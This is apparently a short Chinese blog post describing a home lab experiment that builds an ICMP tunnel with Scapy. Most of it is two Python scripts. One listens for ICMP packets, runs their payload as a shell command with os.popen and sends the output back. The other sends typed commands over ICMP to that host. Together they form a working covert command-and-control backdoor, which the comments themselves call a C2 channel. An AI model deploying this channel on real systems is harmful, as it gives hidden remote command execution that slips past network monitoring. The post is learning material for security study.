Scapy1

ICMP隧道实验

原文链接
想做一下这个实验,网上也有工具实现,但是想自己编程
工具链接
看原文python代码中用了socket,但是我们用scapy模块实验一下
现在用一下这个师傅的代码,不过有的地方要改一下才能运行。

被控端源代码原理为
监听ICMP包,把data放到到一个变量,命令执行它
控制端源代码原理为
发送ICMP包把命令字符串放到data里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3
#被控端
import os
from scapy.all import *

def main():
while True:
# wait for the ICMP message containing the command from the C2 server
# to be received
rx = sniff(filter="icmp", count=1)
# strip down the packet to the payload itself
var = rx[0][Raw].load.decode('utf-8')
# run the command and save the result
print(var)
res = os.popen(var).read()
# build the ICMP packet with the result as the payload
send(IP(dst="XXXXXXXXXX")/ICMP(type="echo-reply", id=0x0001, seq=0x1)/res)

if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from scapy.all import *
from scapy.layers.inet import ICMP
#控制端

def main():
while True:
command = input('# Enter command: ')
pinger = IP(dst="XXXXXXXXXX")/ICMP(id=0x0001, seq=0x1)/command
send(pinger)
rx = sniff(count=1, timeout=2)
print(rx[0].load.decode('utf-8'))
#把原来的rx[0][Raw].load.decode('utf-8')
#凭感觉改成rx[0].load.decode('utf-8')

if __name__ == "__main__":
main()

我的实验的被控端是kali虚拟机,网络设置为桥接模式。
看一下IP,把它填到控制端代码IP的dst里面
我的控制端是Windows,同理,把它的IP填到被控端代码里面

如图有可能有解码错误,以后研究一下为什么